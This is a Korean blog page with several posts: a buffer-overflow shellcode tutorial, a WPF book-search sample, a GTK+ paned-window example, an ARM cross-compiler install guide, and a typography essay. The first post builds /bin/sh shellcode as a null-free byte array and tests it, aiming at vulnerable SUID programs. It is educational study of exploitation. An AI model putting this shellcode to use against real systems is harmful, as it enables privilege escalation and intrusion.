Blog | Tag | Local | Guest | Login | Write |  RSS
분류 전체보기에 해당되는 글 110건
2008.12.01 :: Typography
2008.11.29 :: Perceptron 3

오랜만에 뵙네여. 바로 시작합니다. (시그장님 흠좀무..ㄷㄷ)


전 글에서 설명하였듯이 스택의 적당한 곳에 우리가 직접 작성한 쉘코드를 집어넣어주면 된다. 하지만 이는 말처럼 쉽지만은 않다. 쉘코드를 C언어로 작성한다면 쉽지만 스택에 삽입해야 하기 때문에 기계어 수준의 코드를 필요로 한다는 점이다. 아울러 우리가 삽입한 코드의 어드레스를 알기가 그리 쉽지 않다는 것이다. 하지만 이런 어려움들을 이번 글에서 극복해본다.

쉘코드를 만드는 문제는 이미 인터넷에 현재 널리 사용되는 OS들의 쉘코드가 해커들 사이에 돌아다니고 있기 때문에, 그것을 얻음으로써 어느 정도는 쉽게 해결할 수 있다.

우리가 삽입한 코드의 정확한 위치를 아는 방법은 수많은 시행착오를 통해서 해결할 수 있는데, 여러번 시도해 보면 스택의 어디쯤에 삽입된 코드가 저장되어 있는지를 대략 짐작할 수 있다. 하지만 그 코드를 실행하기 위해서는 정확한 어드레스를 알아야 된다. 이것은 그 코드 앞에 충분히 많은 NOP(null operation) 코드를 삽입한 후 리턴 어드레스가 그 NOP를 가리키게끔 하는 방법으로 극복할 수 있다.

C로 짠 쉘코드

#include <stdio.h>

void main()

{

        char *name[2];

        name[0] = "/bin/sh";

        name[1] = NULL;

        execve(name[0], name, NULL);

}


위 코드를 디스어셈블하여 보면..
$gcc -o shellcode -ggdb -static shellcode.c
$gdb shellcode

...

(gdb) disassemble main
Dump of assembler code for function main:
0x8048124 <main>: pushl %ebp
...
(gdb : GNU Debuger. 컴파일된 파일을 이용하여 disassemble, Memory Map, trace, break 설정 등이 가능하다. 막강한 디버깅툴.)

jmp      0x2a
popl     %esi
movl     %esi, 0x8(%esi)
movb     %0x0, 0x7(%esi)
movl     %0x0, 0xc(%esi)
movl     $0xb, %eax
movl     %esi, %ebx
leal     0x8(%esi), %ecx
leal     0xc(%esi), %edx
int      $0x80
movl     %0x1, %eax
movl     %0x0, %ebx
int      $0x80
call     -0x2f
.string  "/bin/sh"

여기서 잠깐->


이 어셈코드를 스택에 넣은 다음 실행시키면 /bin/sh를 실행시키게 된다. 그렇게 하기 위해서는 위의 코드를 명령인자에 넣어주기 위해선 문자배열로 만들어야 되는데 다음과 같은 문자배열을 만들 수 있다.

"\xeb\x2a"
"\x5e"
"\x89\x76\x08"
"\xc6\x46\x07\x00"
"\xc7\x46\x0c\x00\x00\x00\x00"
"\xb8\x0b\x00\x00\x00"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\xb8\x01\x00\x00\x00"
"\xbb\x00\x00\x00\x00"
"\xcd\x80"
"\xe8\xd1\xff\xff\xff"
"/bin/sh";


이것을 스택에 넣고 실행시키면 문자열 "/bin/sh"가 실행된다.

char shellcode[] = "\xeb\x2a"

"\x5e"

"\x89\x76\x08"

"\xc6\x46\x07\x00"

"\xc7\x46\x0c\x00\x00\x00\x00"

"\xb8\x0b\x00\x00\x00"

"\x89\xf3"

"\x8d\x4e\x08"

"\x8d\x56\x0c"

"\xcd\x80"

"\xb8\x01\x00\x00\x00"

"\xbb\x00\x00\x00\x00"

"\xcd\x80"

"\xe8\xd1\xff\xff\xff"

"/bin/sh";


void
main()

{

        int *ret;

        ret = (int *)&ret + 2;

        (*ret) = (int)shellcode;

}


[hankyung@hankyung]$ gcc -o test_shell test_shell.c
[hankyung@hankyung]$ ./test_shell
bash$ exit
exit
[hankyung@hankyung]$

-> 쉘코드가 제대로 작동한다.
-> 쉘코드가 정수형이다. Exploit 시에 취약점을 가진 프로그램은 문자형 버퍼를 사용한다. 그래서 \x00 과 같은 NULL 바이트는 문자의 끝으로 인식하기 때문에 쉘코드를 끝까지 실행시킬 수 없다. 이제 NULL 바이트를 없애보자.


movb $0x0, 0x7(%esi)
movl $0x0, 0xc(%esi)

이것을

아래처럼
xorl %eax, %eax
movb %eax, 0x7(%esi)
movl %eax, 0xc(%esi)

(xorl => excursive or. 같은 값을 xor함)

movl $0xb, %eax
이것을

이렇게
movb $0xb, %al

movl $0x1, %eax
movl $0x0, %ebx

이것을

요롷코롬
xorl %ebx, %ebx
movl %ebx, %eax
inc %eax


변환한 쉘코드의 코드를 보면
jmp      0x1f
popl     %esi
movl     %esi, 0x8(%esi)
xorl     %eax, %eax
movb     %eax, 0x7(%esi)
movl     %eax, 0xc(%esi)
movb     $0xb, %al
movl     %esi, %ebx
leal     0x8(%esi), %ecx
leal     0xc(%esi), %edx
int      $0x80
xorl     %ebx, %ebx
movl     %ebx, %eax
inc      %eax
int      $0x80
call     -0x24
.string  "/bin/sh"

이것을 다시 문자배열로 만들어 보자.

"\xeb" "\x1f" "\x5e" "\x89" "\x76" "\x08" "\x31" "\xc0" "\x88" "\x46" "\x07" "\x89" "\x46" "\x0c" "\xb0" "\x0b"
"\x89" "\xf3" "\x8d" "\x4e" "\x08" "\x8d" "\x56" "\x0c" "\xcd" "\x80" "\x31" "\xdb" "\x89" "\xd8" "\x40" "\xcd"
"\x80" "\xe8" "\xdc" "\xff" "\xff" "\xff" "\xef" "\x62" "\x69" "\x6e" "\x2f" "\x73" "\x68" "\x00"

자. 이제 쉘코드를 완성하였다.

우선 이 코드가 어떻게 동작하는지 보자.

* jmp 0x1f
  call -0x24로 점프한다.
* call -0x24
  popl %esi를 호출한다. 이는 문자열 "/bin/sh"가 저장되어 있는 메모리의 영역을 알아내기 위해서이다. (call을 사용하면 리턴 어드레스가 스택에 push됨)
* popl %esi
  스택에 있는 리턴 어드레스 (/bin/sh 가 있는 어드레스)를 pop 해서 %esi에 저장.
* movl %esi, 0x8(%esi)
  %esi로부터 8만큼 떨어진 곳에 %esi (/bin/sh의 어드레스)를 저장한다.
* xorl %eax, %eax
  %eax를 NULL로 만든다.
* movb %eax, 0x7(%esi)
  %esi로부터 7만큼 떨어진 곳에 %eax(NULL)의 1바이트를 저장한다.
* movl %eax, 0xc(%esi)
  %esi로부터 12만큼 떨어진 곳에 %eax(NULL)의 4바이트를 저장한다.
* movb $0xb, %al
  %al에 11을 저장한다.
* movl     %esi, %ebx
  %esi를 %ebx에 저장한다. 현재 %esi는 /bin/sh의 어드레스를 가지고 있다.
* leal     0x8(%esi), %ecx

  %esi로부터 8만큼 떨어진 곳의 어드레스를 %ecx에 저장한다. 이것은 /bin/sh의 어드레스가 저장되어 있는 곳의 어드레스.
* leal     0xc(%esi), %edx

  %esi로부터 12만큼 떨어진 곳의 어드레스를 %edx에 저장한다. 이곳에는 NULL이 저장되어 있다.
* int      $0x80

  0x80 인터럽트를 호출한다. 여기까지 정상적으로 수행이 되었다면 execve(name[0], name, NULL)을 실행시키게 된다. %ebx에 있는 값이 name[0]이고 %ecx에 있는 값이 name이며 %edx에 있는 값이 NULL 이다.
* xorl     %ebx, %ebx

  %ebx를 NULL 로 만든다.
* movl     %ebx, %eax

  %ebx(NULL)를 %eax에 저장한다.
* inc      %eax

  %eax를 1만큼 증가시킨다.
* int      $0x80

  0x80 인터럽트를 호출한다. 쉘을 실행시킨 다음 이 부분은 exit를 호출해서 프로그램을 종료하는 코드이다.



쉘코드를 만들어봤습니다.
이제 공격대상 프로그램의 특정 함수의 리턴 어드레스를 알아내어 삽입하여 봅시다. 그리고 Buffer over flow 공격에 취약한 SUID 프로그램에 명령인자로 넣어주면 됩니다. 다음 글에서는 이것을 가지고 Buffer over flow 공격을 해봅시다. @^^@



이전시간에 올렸었던 DotFont를 사용한 샘플입니다. 기능은 사용자에게 키워드를 입력받고 해당하는 도서들을 검색합니다. 그리고 도서를 출력할 때 키워드를 DotFont로 변환하여 점 하나하나를 검색된 도서를 출력합니다. 아래는 시연 동영상입니다.



멤버십에서 작업을 하고있는데.. 멤버십 인터넷이 상당히 느려서 검색 결과가 약간 늦게 뜨네요.. ㅠㅠ
동영상을 끝까지 보다보면 한글도 잘표시가 되는 것을 확인 하실 수 있습니다. 이번 예제는 코드가 꾀 긴 관계로 중요한 코드만 여기서 설명하고 전체 소스코드는 첨부파일로 올리도록하도록 하겠습니다..

아래는 이번 예제에서 가장 핵심(?) 되는 부분이라고 할 수 있는 DotFont의 활용 부분입니다.

  1. foreach (Point Dot in DotString)   
  2. {   
  3.     Book BookItem = BookItems[Random.Next(0, BookItems.Count - 1)];   
  4.     BitmapSource Source = BookItem.Image;   
  5.     Rectangle DotItem = new Rectangle();   
  6.     DotItem.Width = DotItem.Height = Random.Next(1500,2000) / 100;   
  7.     DotItem.Fill = new ImageBrush(Source);   
  8.     DotItem.Tag = BookItem;   
  9.   
  10.     DotItem.RenderTransform = new RotateTransform(Random.Next(-360, 360));   
  11.     DotItem.MouseEnter += new MouseEventHandler(DotItem_MouseEnter);   
  12.     DotItem.MouseLeave += new MouseEventHandler(DotItem_MouseLeave);   
  13.     DotItem.MouseLeftButtonUp += new MouseButtonEventHandler(DotItem_MouseLeftButtonUp);   
  14.        
  15.     Canvas.SetLeft(DotItem, Dot.X - DotItem.Width / 2);   
  16.     Canvas.SetTop(DotItem, Dot.Y - DotItem.Height / 2);   
  17.   
  18.     ResultCanvas.Children.Add(DotItem);   
  19.   
  20. }  
DotString은 DotFont의 Raw Point가 저장된 List<Point>객체입니다. ForEach문을 사용하여 각각의 포인트들 검색한 도서를 매핑시킵니다. 여기서 BookItems는 검색된 도서가 저장되어 있는 List입니다.

기타 질문은 리플이나 메일 보내주시면 답변드리도록 하겠습니다.

PS. 코드를 보시면 중간에 OPENAPI Key를 입력하시는 부분이 있습니다. 해당 부분을 본인의 OpenAPI Key로 설정하셔야 동작됩니다.




GTK+ Window Widget Paned


안녕하세요. 오늘은 GTK+ widget Paned에 대해서 설명해 보겠습니다. Table을 이용해서 화면을 분할하듯이 paned을 이용해서 분할할 수 있습니다. Paned은 window widget의 한 영역으로 사용자가 크기를 상대적으로 조절하여 두영역으로 나누어서 쓸 수 있습니다.  두 영역 사이에는 handle이 달린 홈이 있고 이를 마우스로 드래그해서 사용자는 원하는 대로 두 영역의 비율을 바꿀 수 있습니다. 이러한 분할은 수평(HPaned)적이거나 수직(VPaned)적이 됩니다.

새 paned window를 만들려면 다음중 하나를 불러 사용합니다.

GtkWidget* gtk_hpaned_new (void)
GtkWidget* gtk_vpaned_new (void)

Paned window widget을 만든 다음에는 나누어진 양쪽에 자식 widget을 주어야 합니다. 이는 다음 함수들을 이용해서 이루어집니다.

void gtk_paned_add1 (GtkPaned *paned, GtkWidget *child)
void gtk_paned_add2 (GtkPaned *paned, GtkWidget *child)
gtk_paned_add1()는 paned 윈도 widget의 왼쪽 혹은 윗쪽에 자식 widget을 더합니다.
gtk_paned_add2()는 반대로 오른쪽 혹은 아랫쪽에 더합니다.

한 예로는 가상적인 E-mail 프로그램의 사용자 인터페이스 일부를 만들어 보려고합니다. 말이 거창할 뿐, 그리 어렵진 않습니다. 앞에 많은 예제를 다루어 봤듯이 GTK+는 반복적인 틀로 만들어지기 때문에 소스만 보아도 이해가 가능할 것입니다.
오늘 만들어 볼 E-mail 프로그램은 E-mail 메시지들의 리스트를 표시하는 윗 부분과 메시지 내용을 표시하는 아랫 부분으로 나누어 집니다. 간단한 프로그램이지만 오늘도 역시 중요한 부분이 있겠죠? 오늘의 중요한 사항은 두가지 입니다. 두가지의 중요한 부분을 집고 넘어 가겠습니다. 두가지 주의해야 할 점은 다음과 같습니다. 텍스트는 텍스트 widget에 이것이 realize되기 전에는 더해질 수 없습니다. 이는 gtk_widget_realize()를 호출해서 이루어지지만 또 다른 방법으로 text를 더하기 위해 "realize" 시그널을 연결할 수도 있습니다. 또한, GTK_SHRINK 옵션을 text 윈도와 스크롤바를 포함하고 있는 테이블 내용 일부에 더해주는 것이 필요합니다. 그래야만 아랫 부분을 작게 만들때 윈도의 바닥이 밀려나는 대신 원하던 부분이 줄어들게 됩니다.

/* paned.c */

#include <gtk/gtk.h>
  
/* "messages"의 리스트를 만듭니다 */
GtkWidget *
create_list (void)
{

    GtkWidget *scrolled_window;
    GtkWidget *list;
    GtkWidget *list_item;
  
    int i;
    char buffer[16];
  
    /* 스크롤바(필요할 때만)가 딸린 스크롤된 윈도를 만듭니다. */
    scrolled_window = gtk_scrolled_window_new (NULL, NULL);
    gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (scrolled_window),
                                    GTK_POLICY_AUTOMATIC,
                                    GTK_POLICY_AUTOMATIC);
  
    /* 새로운 리스트를 만들어 이를 스크롤된 윈도에 집어넣습니다. */
    list = gtk_list_new ();
    gtk_container_add (GTK_CONTAINER(scrolled_window), list);
    gtk_widget_show (list);
  
    /* 윈도에 메시지 몇개를 더합니다 */
    for (i=0; i<10; i++) {

        sprintf(buffer,"Message #%d",i);
        list_item = gtk_list_item_new_with_label (buffer);
        gtk_container_add (GTK_CONTAINER(list), list_item);
        gtk_widget_show (list_item);

    }
  
    return scrolled_window;
}
  
/* 텍스트 몇개를 텍스트 widget에 더합니다. - 아래 함수는 우리의 윈도가 realize 될
때 불리는 callback합수입니다. gtk_widget_realize로 realize되도록 강제할 수도 있지만
그건 먼저 계층구조의 한 부분이 되어야 할 것입니다.
*/
void
realize_text (GtkWidget *text, gpointer data)
{
    gtk_text_freeze (GTK_TEXT (text));
    gtk_text_insert (GTK_TEXT (text), NULL, &text->style->black, NULL,
    "From: pathfinder@nasa.gov\n"
    "To: mom@nasa.gov\n"
    "Subject: Made it!\n"
    "\n"
    "We just got in this morning. The weather has been\n"
    "great - clear but cold, and there are lots of fun sights.\n"
    "Sojourner says hi. See you soon.\n"
    " -Path\n", -1);
  
    gtk_text_thaw (GTK_TEXT (text));
}
  
/* "message"를 보여주는 스크롤된 텍스트 영역을 만듭니다. */
GtkWidget *
create_text (void)
{
    GtkWidget *table;
    GtkWidget *text;
    GtkWidget *hscrollbar;
    GtkWidget *vscrollbar;
  
    /* 텍스트 위젯과 스크롤바를 갖는 테이블을 만듭니다 */
    table = gtk_table_new (2, 2, FALSE);
  
    /* 텍스트 위젯을 왼쪽 위에 놓습니다. Y 축 방향으로 GTK_SHRINK가 쓰인 것을 주목해야 합니다. */
    text = gtk_text_new (NULL, NULL);
    gtk_table_attach (GTK_TABLE (table), text, 0, 1, 0, 1,
                      GTK_FILL | GTK_EXPAND,
                      GTK_FILL | GTK_EXPAND | GTK_SHRINK, 0, 0);
    gtk_widget_show (text);
  
    /* HScrollbar를 왼쪽 아래에 놓습니다. */
    hscrollbar = gtk_hscrollbar_new (GTK_TEXT (text)->hadj);
    gtk_table_attach (GTK_TABLE (table), hscrollbar, 0, 1, 1, 2,
                      GTK_EXPAND | GTK_FILL, GTK_FILL, 0, 0);
    gtk_widget_show (hscrollbar);
  
    /* VScrollbar를 오른쪽 위에 놓습니다. */
    vscrollbar = gtk_vscrollbar_new (GTK_TEXT (text)->vadj);
    gtk_table_attach (GTK_TABLE (table), vscrollbar, 1, 2, 0, 1,
                      GTK_FILL, GTK_EXPAND | GTK_FILL | GTK_SHRINK, 0, 0);
    gtk_widget_show (vscrollbar);
  
    /* 텍스트 widget이 realize되었을 때 그 widget이 갖고 있는 메시지를 출력해주는 시그널 핸들러를 더합니다. */
    gtk_signal_connect (GTK_OBJECT (text), "realize",
                        GTK_SIGNAL_FUNC (realize_text), NULL);
  
    return table;
}
  
int
main (int argc, char *argv[])
{
    GtkWidget *window;
    GtkWidget *vpaned;
    GtkWidget *list;
    GtkWidget *text;

    gtk_init (&argc, &argv);
  
    window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
    gtk_window_set_title (GTK_WINDOW (window), "Paned Windows");
    gtk_signal_connect (GTK_OBJECT (window), "destroy",
                        GTK_SIGNAL_FUNC (gtk_main_quit), NULL);
    gtk_container_border_width (GTK_CONTAINER (window), 10);
  
    /* vpaned widget을 만들어서 toplevel 윈도에 더합니다. */
  
    vpaned = gtk_vpaned_new ();
    gtk_container_add (GTK_CONTAINER(window), vpaned);
    gtk_widget_show (vpaned);
  
    /* 이제 윈도 두 부분의 내용을 만듭니다. */
  
    list = create_list ();
    gtk_paned_add1 (GTK_PANED(vpaned), list);
    gtk_widget_show (list);
  
    text = create_text ();
    gtk_paned_add2 (GTK_PANED(vpaned), text);
    gtk_widget_show (text);
    gtk_widget_show (window);
    gtk_main ();
    return 0;
}

오늘도 간단한 예제를 해보았습니다. 어떠하였는지요? 정말 길지도 않죠? 처음 배웠던 내용의 기본적인 내용을 뺀다면 정작 프로그램에서 사용하는 내용은 얼마 없죠? GTK+의 매력~~~
 



안녕하세요. 박진영입니다.

제가 올린 글들을 주욱 보았는데,,하드웨어를 잘 모르시는 분들이 보시면 일관성이 없어보일듯 하여서,
제가 올리고 있는 글들에 대해서 설명을 잠시 할까 합니다.

우선 제가 하고 있는 블로그의 중점은 오실로스코프 만들기 입니다.
- 제가 하고 있는 프로젝트이죠.^^
그에 대해서 필요한 하드웨어와 기본적인 이론 지식들을 정리하고 있는 것 입니다.

우선 ARM 이라는 코어를 활용해서 그래픽 쪽을 담당하게 됩니다.
그리고 FPGA를 이용해서 필요한 신호의 측정 연산을 하게 됩니다.
하지만 FPGA 쪽을 담당하는 분이 계셔서 저는 FPGA를 제외한 부분의 배경지식들을 알려드리려고 합니다.

그럼 제가 올리려는 분야의 크게 본다면,
1. 오실로 스코프의 기능
2. 오실로 스코프의 제작시 필요한 이론들
3. ARM을 제어하기 위한 기본적인 지식
4. ARM을 이용한 개발보드 EZ-S2410의 지식들이 되겠습니다.
 - 2410을 이용한 디바이스 드라이버 작성

오늘은 저번 시간에 이어서 ARM 내용을 말씀드리려고 합니다.

그 중에서도 크로스 컴파일러에 대하여 소개해 드립니다.
----------------------------------------------------------
우선, 크로스 컴파일러의 개념에 대해서 네이버 사전을 찾아봅시다.

본문
원시 프로그램의 번역이 이루어지는 컴퓨터와 번역된 기계어에 이용되는 컴퓨터가 서로 다른 기종의 컴퓨터일 때 사용하는 컴파일러의 한 가지. 어떤 컴퓨터에서 동작하는 프로그램을 만들기 위해 다른 컴퓨터의 개발 환경을 사용해서 프로그램을 작성하는 경우에 사용된다. 동작 속도가 느린 컴퓨터, 완성되어 있지 않은 컴퓨터, 개발 환경 구축이 불가능한 컴퓨터용의 실행 프로그램을 만드는 경우 등에 사용한다. 예를 들면, 마이크로프로세서의 프로그램 개발 또는 게임기의 프로그램 개발은 이와 같은 방법을 채택하는 경우가 많다.

역시 이것은 FALINUX 회사에서 알려주는 크로스 컴파일러의 개요 입니다.

크로스 컴파일러의 개요

일반적으로 컴파일러는 자신의 실행되고 있는 시스템에서 실행되는 바이너리코드를 만듭니다. 예를 들어 x86의 시스템에서 gcc를 사용하여 컴파일하면 x86에서 실행되는 실행 바이너리 파일이 생성됩니다. 이렇게 자신이 실행되고 있는 시스템에 실행할 수 있는 실행 파일을 만드는 컴파일러를 네이티브 컴파일러라고 합니다.

역시 임베디드 리눅스가 설치된 장치에서 실행되는 프로그램을 만들기 위해서는 임베디드 리눅스용 네이티브 컴파일러가 필요합니다. 그러나 임베디스 시스템은 열악한 환경을 위해 만들어진 시스템이기 때문에 프로젝트 소스를 에디트하면서 네이티브 컴파일러를 운영하기 위한 리소스가 매우 부족한 경우가 많습니다.

그러므로 임베디드 보드에서 직접 프로그램을 작성하기 보다는 개발 작업이 용이한 일반 PC를 개발용 호스트로 운영하면서 프로그램 소스 작성 뿐만 아니라 임베디드 리눅스 보드. 즉, 타겟 보드에서 실행되는 실행파일을 만들어 주는 컴파일러를 사용하여 프로그램을 생성합니다.

이렇게 자신이 실행되고 있는 환경과는 전혀 다른 환경에서 실행되는 프로그램을 만들어 주는 컴파일러는 크로스 컴파일러라고 합니다. 또한 크로스 컴파일러는 타겟보드의 CPU에 따라서 다양한 컴파일러가 있습니다.

크로스 컴파일 환경에 포함되는 내용은 아래와 같습니다.

  • 어셈블러 및 로더 기타 툴
    binutils
  • 컴파일러
    gcc
  • 크로스 컴파일 구축을 위한 라이브러리 및 일반 라이브러리
  • glibc
--------------------------------------------------------------------------------------------

크로스 컴파일러란 리려는 대상의 칩에 따라서 PC의 프로그램(컴파일러)이 달라진다는 정도로 이해하셔도 도움이 되실 듯 합니다.

밑에서 부터는 제가 사용하고 있는 개발보드의 크로스 컴파일러 설치 과정입니다.
사실 크로스 컴파일러의 설치는 어렵지 않습니다.
AVR128 같은 경우에는 위도우에서 AVR-studio를 설치하는 것으로 끝입니다.
ARM7TDMI기반의 AT91SAM7S시리즈의 경우에는 ADS프로그램과 SAM-BA프로그램을 까는 것 정도로 크로스컴파일러를 포함한 개발환경을 모두 구축할 수 있게 됩니다.
하지만 제가 사용하는 개발보드의 경우에는 FALINUX라는 회사에서 ARM에다가 커널을 올려놓아버렸기 때문에,,,^^
ARM기반의 리눅스에 맞는 방식으로 컴파일을 해줘야 합니다.
그래서 PC에 리눅스를 깔고 ,gcc를 깔고,, 그외 기타 부수적인 것들을 설치하게 되는데,,,,,,
이걸 통째로 묶음으로 회사에서 제공을 하게 됩니다. 그래서 그걸 깔면 대부분의 작업들이 간편하게 완료됩니다.

--------------------------------------------------------------------------------------------

크로스 컴파일러 설치 방법

개발 호스트에 크로스 컴파일러를 설치하기 위해서는 크로스 컴파일러 소스를 구해서 직접 컴파일하여 설치해야 하기 때문에 쉽지 않습니다. 이에 저희 (주)FALINUX는 용이하게 설치할 수 있도록 Tool Chain 압축 파일을 제공하고 있으며, 이 압축 파일을 풀기만 하면 설치가 완료됩니다.

크로스 컴파일러를 아래의 순서에 따라 설치하십시오.

  1. Tool Chain 압축 파일을 구한다.
  2. root 권한으로 루트 디렉토리(/)에 압축 풀기를 한다.
  3. 컴파일러가 제대로 설치되었는지 확인하다.

ToolChain 압축 파일 구하기

구매하신 제품 중에 동봉된 CD에서 Tool Chain 파일을 구하실 수 있습니다.

EZ 보드 Tool Chain 압축 파일
EZ-PXA270 cross_compiler/arm-toolchain-3.4.3.tar.gz
EZ-AU1200 cross_compiler/mipsel-toolchain-3.4.4.tar.gz
EZ-S3C2440 cross_compiler/arm-toolchain-3.4.3.tar.gz
ESP-MMI

cross_compiler/arm-toolchain-3.4.3.tar.gz

EZ-X5

cross_compiler/rpm-wow7.1
cross_compiler/rpm-wow7.3
cross_compiler/rpm-wow8.0
cross_compiler/src

또는 FALINUX 포럼 자료실>>ToolChain 페이지에서 내려 받으실 수 있습니다.

또한 FALINUX 포럼 자료실에는 EZ 보드별로 따로 페이지를 구성해 놓았습니다. 구매하신 EZ 보드의 모델 이름에 해당하는 링크를 클릭하시면 "ToolChain & Ram disk" 리크가 있습니다. 이 링크를 이용하셔도 ToolChain 을 구하실 수 있습니다.

주의제공되는 Tool Chain 파일은 리눅스의 버전업에 따라 제작 환경이 변경됩니다.

ARM CPU를 위한 크로스 컴파일러 설치하기

EZ-X5, EZ-S3C2440, 설치 방법은 CD에서 복사한 Tool Chain 압축 파일을 root 권한으로 루트(/)에서 압축을 풀기만 하면 설치가 완료됩니다.

주의 사항
  • 반드시 root 권한으로 설치하십시오.
  • 반드시 루트 디렉토리(/)에서 압축을 풀기를 하십시오.

본 설명에서는 제품과 동봉된 CD의 Tool Chain 압축 파일을 이용하여 크로스 컴파일러를 설치하도록 하겠습니다.

]$ su -            // 반드시 root 권한으로 작업합니다.
암호:
]# cd /            // 반드시 루트 디렉토리로 이동합니다.


]# mount /dev/dcdrom /mnt/cdrom
mount: block device /dev/cdrom is write-protected, mounting read-only
]# tar zxvf /mnt/cdrom/cross_compiler/arm-toolchain-3.4.3.tar.gz

     리눅스 설치 본에 따라 /mnt/cdrom이 없는 경우가 있습니다.
     CentOS 같은 경우 /mnt/cdrom 대신에 /media 가 사용됩니다.
     그러므로 /media로 마운트합니다.

]# mount /dev/dcdrom /media
mount: block device /dev/cdrom is write-protected, mounting read-only
]#tar zxvf /media/cross_compiler/arm-toolchain-3.4.3.tar.gz

ARM 용 크로스 컴파일러는 arm-linux-gcc 입니다. 컴파일러가 옳바르게 설치되었는지 확인하기 위해 아래와 같이 컴파일러의 버전 번호를 확인해 봅니다.

]# arm-linux-gcc --version
arm-linux-gcc (GCC) 3.4.3
Copyright (C) 2004 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
]#

이와 같이 컴파이러 버전 정보가 출력되었다면 정상적으로 설치된 것입니다.

MIPS core를 위한 크로스 컴파일러 설치하기

설치 방법은 CD에서 복사한 Tool Chain 압축 파일을 root 권한으로 루트(/)에서 압축을 풀기만 하면 설치가 완료됩니다.

주의 사항
  • 반드시 root 권한으로 설치하십시오.
  • 반드시 루트 디렉토리(/)에서 압축을 풀기를 하십시오.

본 설명에서는 제품과 동봉된 CD의 Tool Chain 압축 파일을 이용하여 크로스 컴파일러를 설치하도록 하겠습니다.

]$ su -            // 반드시 root 권한으로 작업합니다.
암호:
]# cd /            // 반드시 루트 디렉토리로 이동합니다.


]# mount /dev/dcdrom /mnt/cdrom
mount: block device /dev/cdrom is write-protected, mounting read-only
]# tar zxvf /mnt/cdrom/cross_compiler/mipsel-toolchain-3.4.4.tar.gz

     리눅스 설치 본에 따라 /mnt/cdrom이 없는 경우가 있습니다.
     CentOS 같은 경우 /mnt/cdrom 대신에 /media 가 사용됩니다.
     그러므로 /media로 마운트합니다.

]# mount /dev/dcdrom /media
mount: block device /dev/cdrom is write-protected, mounting read-only
]#tar zxvf /media/cross_compiler/mipsel-toolchain-3.4.4.tar.gz

컴파일러가 옳바르게 설치되었는지 확인하기 위해 아래와 같이 컴파일러의 버전 번호를 확인해 봅니다.

]# mipsel-linux-gcc --version
mipsel-linux-gcc (GCC) 3.4.4
Copyright (C) 2004 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
]#

이와 같이 컴파이러 버전 정보가 출력되었다면 정상적으로 설치된 것입니다.


Typography


이번에는 제가 세미나나 발표 할시 항상 강조하는 타이포그래피에 관한 내용에 대해서 풀어볼까 합니다. 타이포그래피는 그래픽 디자이너에게 기본중의 기본과도 같은 부분이고 또한 항상 바르게 쓰여야 할 중요한 사항이기 때문에 늘 강조하고 있는부분입니다. (그렇다고 해서 제가 타이포그래피에 대해서 굉장한 일가견을 갖고 있는것은 아니니 오해는 마시기 바랍니다...^^; 항상 잘쓰고 싶어서 노력은 하고 있습니다만...)

그래서 다음과 같은 정보를 찾아왔는데 우리가 항상 쓰고 읽는 타이포그래피에 대한 내용을 조금더 이해해보자는 측면에서 보여드립니다. 자세히 읽으실 필요는 없지만 그냥 이런게 있구나 하는 정도만으로도 충분하다고 생각합니다. ^^

그럼 즐겁게 읽어보시길...





이포그래피는 사전에서 찾아보면 활판인쇄술이라 번역이 된다. 이외에도 ① 활자를 사용해서 조판하는 일, ② 조판을 위한 식자의 배치, ③ 활판인쇄, ④ 인쇄된 것의 체재 등을 원칙적으로 뜻하는데, 최근에는 다시 활판이건 아니건 간에 문자의 배열상태를 칭하는 경우가 많고, 나아가서는 레이아웃이나 디자인 등의 동의어(同義語)로 생각하는 경우가 늘어나고 있다. 유럽에서는 비교적 좁은 뜻으로, 미국에서는 넓은 뜻으로 해석되고 있다.


  인쇄물, 특히 서적의 본래의 자세를 관찰하면 타이포그래피는 서양활판 인쇄술 이전에 이미 상당히 발달된 양식을 갖춘 원류(源流)를 가지고 있었다. 따라서 그 주류는 오늘날까지 서적의 표지, 속표지 ·본문 등의 조판에서 찾아볼 수 있으나, 현재는 디자인의 한 분야로서도 인정된다.

  그 밖에 명함 ·안내장 · 각종 카드류 ·레터헤드 ·카탈로그 ·다이렉트 메일(직접 개인 앞으로 우송되는 상품광고) 및 문자를 중심으로 하는 포스터 ·캘린더 등에 대해서 실시되는데, 어느 것이나 활자서체의 선정이나 크기의 결정, 또 그 배열을 엄격히 해서 시각적인 표현을 결정한다. 

근대 타이포그래피는 19세기 말에 W.리엄모리스가 그 기초를 제시하고, H.바이어 등에 의해 디자인으로 확립되어 오늘에 이르렀다. 

최근에는 활판인쇄술이라는 좁은 의미가 아닌 문자를 이용하여 할수 있는 모든 것을 포함하기도 한다.

한편, 현대적인 개념의 타이포그래피는 디자인에 관련되 모든 요소, 즉 이미지, 타입, 그래픽 요소, 색채, 레이아웃, 디자인 포맷, 그리고 마케팅에 이르기까지 디자인에 관련된 모든 행위를 총체적으로 관리하는 '시각디자인의 요체'라 할수 있다.

 타이포 그래피는 편집 디자인의 요소 중 가장 확실히 메시지를 전달할 수 있는 요인이다.
타이포그라피는 가독성과 깊은 관련이 있으며, 글자, 글자의 크기, 위치, 간격, 줄의 길이 등이 서로 조화를 이루어야 좋은 레이아웃을 만든다. 타이포그라피의 개념은 활자를 잘 선택하여 그 목적에 맞도록 글자를 보다 효과적이고 개성 있게 구성하는 것이다. 즉, 편집디자인의 주체는 활자로 글자를 구성하는 디자인을 일컫는다. 




이포그래피의 역사는 손글씨의 발명으로부터 시작된다. 이 손글씨는 더 쉬운 복제판을 만들어 보급하기 위해서 활자를 만들어냈다. 활자는 인류의 문명과 사상뿐 아니라 경제와 종교까지 급속도로 전세계로 확산시키는 무서운 도구가 되었다.

  중세의 긴 문명의 어둠은 구텐베르크의 금속활자의 발명과 함께 물러가기 시작했다. 역사에 빛을 던진 커뮤니케이션의 도구인 활자는 정보화 시대를 맞은 현대사회 속에서 정보전달을 위한 기능적 목적으로 또는 예쑬적 재료로 서까지 엄청난 힘을 발휘하고 있다. 지금도 인류는 활자와 함께 끊임없이 그 정신적 세계가 진화되고 있다.

